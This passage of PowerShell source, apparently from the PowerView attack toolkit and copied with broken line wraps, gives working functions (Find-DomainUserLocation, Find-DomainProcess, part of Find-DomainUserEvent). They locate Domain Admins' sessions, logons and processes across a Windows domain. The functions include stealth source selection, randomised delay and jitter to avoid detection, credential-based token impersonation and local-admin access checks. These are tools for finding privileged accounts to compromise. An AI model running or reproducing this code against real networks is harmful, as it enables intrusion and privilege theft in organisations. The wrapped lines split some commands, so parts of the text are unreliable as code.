Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for
final cleanup..."

for ($i=0; $i -lt $SleepSeconds; $i++) {


ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}

$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}

function Find-DomainUserLocation {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,

[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,

[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,

[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,

[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,

[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,

[ValidateNotNullOrEmpty()]
[String]
$UserDomain,

[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,

[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',

[Alias('AdminCount')]
[Switch]
$UserAdminCount,

[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,

[Switch]
$CheckAccess,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$StopOnSuccess,

[ValidateRange(1, 10000)]
[Int]
$Delay = 0,

[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,

[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,

[Switch]
$Stealth,

[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',

[Int]
[ValidateRange(1, 100)]
$Threads = 20
)

BEGIN {

$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['ComputerDomain'])
{ $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter'])
{ $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase'])
{ $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained'])
{ $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem'])
{ $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack'])
{ $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName'])
{ $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $ComputerSearcherArguments['Credential'] = $Credential }

$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity'])
{ $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] =
$UserDomain }
if ($PSBoundParameters['UserLDAPFilter'])
{ $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase'])
{ $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount'])
{ $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation'])
{ $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone']
= $Tombstone }
if ($PSBoundParameters['Credential'])
{ $UserSearcherArguments['Credential'] = $Credential }

$TargetComputers = @()

if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using
source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList

if ($StealthSource -match 'File|All') {


Write-Verbose '[Find-DomainUserLocation] Querying for file
servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain'])
{ $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain'])
{ $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase'])
{ $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server'])
{ $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope'])
{ $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer
@FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers =
@($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS
servers'

}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain
controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain'])
{ $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain'])
{ $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server'])
{ $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential'])
{ $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments
| Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array])
{ $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers
in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments |
Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $
($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}

if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or
$PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or
$PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation'])
{
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -
ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain'])
{ $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase'])
{ $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-
Object -ExpandProperty MemberName
}

Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $


($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}

$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth,
$TokenHandle)

if ($TokenHandle) {

$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet


}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName

if ($CName -and $CName.StartsWith('\\')) {


$CName = $CName.TrimStart('\')
}

if (($UserName) -and ($UserName.Trim() -ne '') -and


($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {

if ( (-not $TargetUsers) -or ($TargetUsers -contains


$UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty
'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName'
$UserName
$UserLocation | Add-Member Noteproperty
'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty
'SessionFrom' $CName

try {
$CNameDNSName =
[System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty
'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty
'SessionFromName' $Null
}

if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName
$CName).IsAdmin
$UserLocation | Add-Member Noteproperty
'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty
'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0,
'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain

if (($UserName) -and ($UserName.trim() -ne '')) {


if ( (-not $TargetUsers) -or ($TargetUsers -
contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName
$TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty
'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty
'UserName' $UserName
$UserLocation | Add-Member Noteproperty
'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty
'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty
'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty
'SessionFromName' $Null

if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName
$TargetComputer
$UserLocation | Add-Member Noteproperty
'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty
'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0,
'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}

if ($TokenHandle) {
Invoke-RevertToSelf
}
}

$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or
$PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -
Quiet
}
}
}

PROCESS {

if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {

Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $


($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter:
$Jitter"
$Counter = 0
$RandNo = New-Object System.Random

ForEach ($TargetComputer in $TargetComputers) {


$Counter = $Counter + 1

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+


$Jitter)*$Delay)

Write-Verbose "[Find-DomainUserLocation] Enumerating server


$Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList
$TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken

if ($Result -and $StopOnSuccess) {


Write-Verbose "[Find-DomainUserLocation] Target user found,
returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads:
$Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $
($TargetComputers.Length)"

$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}

New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock


$HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Find-DomainProcess {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType',
'')]

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPasswor
d', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,

[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,

[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,

[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,

[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,

[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,

[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,

[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,

[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,

[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,

[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,

[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',

[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,

[ValidateRange(1, 10000)]
[Int]
$Delay = 0,

[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,

[Int]
[ValidateRange(1, 100)]
$Threads = 20
)

BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['ComputerDomain'])
{ $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter'])
{ $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase'])
{ $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained'])
{ $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem'])
{ $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack'])
{ $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName'])
{ $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $ComputerSearcherArguments['Credential'] = $Credential }

$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity'])
{ $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] =
$UserDomain }
if ($PSBoundParameters['UserLDAPFilter'])
{ $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase'])
{ $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount'])
{ $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone']
= $Tombstone }
if ($PSBoundParameters['Credential'])
{ $UserSearcherArguments['Credential'] = $Credential }

if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments |
Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $
($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}

if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or
$PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or
$PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation'])
{
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -
ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain'])
{ $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase'])
{ $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-
Object -ExpandProperty MemberName
}

$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)

ForEach ($TargetComputer in $ComputerName) {


$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {

if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -
ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -
ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {

if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}

elseif ($TargetUsers -Contains $Process.User) {


$Process
}
}
}
}
}
}

PROCESS {

if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {

Write-Verbose "[Find-DomainProcess] Total number of hosts: $


($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random

ForEach ($TargetComputer in $TargetComputers) {


$Counter = $Counter + 1

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+


$Jitter)*$Delay)

Write-Verbose "[Find-DomainProcess] Enumerating server


$TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList
$TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result

if ($Result -and $StopOnSuccess) {


Write-Verbose "[Find-DomainProcess] Target user found,
returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads:
$Threads"

$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}

New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock


$HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}

function Find-DomainUserEvent {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType',
'')]

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPasswor
d', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0,
ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,

[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,

[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),

[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,

[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,

[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,

[ValidateNotNullOrEmpty()]
[String]
$UserDomain,

[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,

[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,

[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',

[Alias('AdminCount')]
[Switch]
$UserAdminCount,

[Switch]
$CheckAccess,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$StopOnSuccess,

[ValidateRange(1, 10000)]
[Int]
$Delay = 0,

[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,

[Int]
[ValidateRange(1, 100)]
$Threads = 20
)

BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity'])
{ $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] =
$UserDomain }
if ($PSBoundParameters['UserLDAPFilter'])
{ $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase'])
{ $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount'])
{ $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone']
= $Tombstone }
if ($PSBoundParameters['Credential'])
{ $UserSearcherArguments['Credential'] = $Credential }

if ($PSBoundParameters['UserIdentity'] -or
$PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or
$PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -
ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not
$PSBoundParameters['Filter'])) {

$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain'])
{ $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase'])
{ $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-
Object -ExpandProperty MemberName
}

if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {

$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['Credential'])
{ $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers
in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-
Object -ExpandProperty dnshostname
}
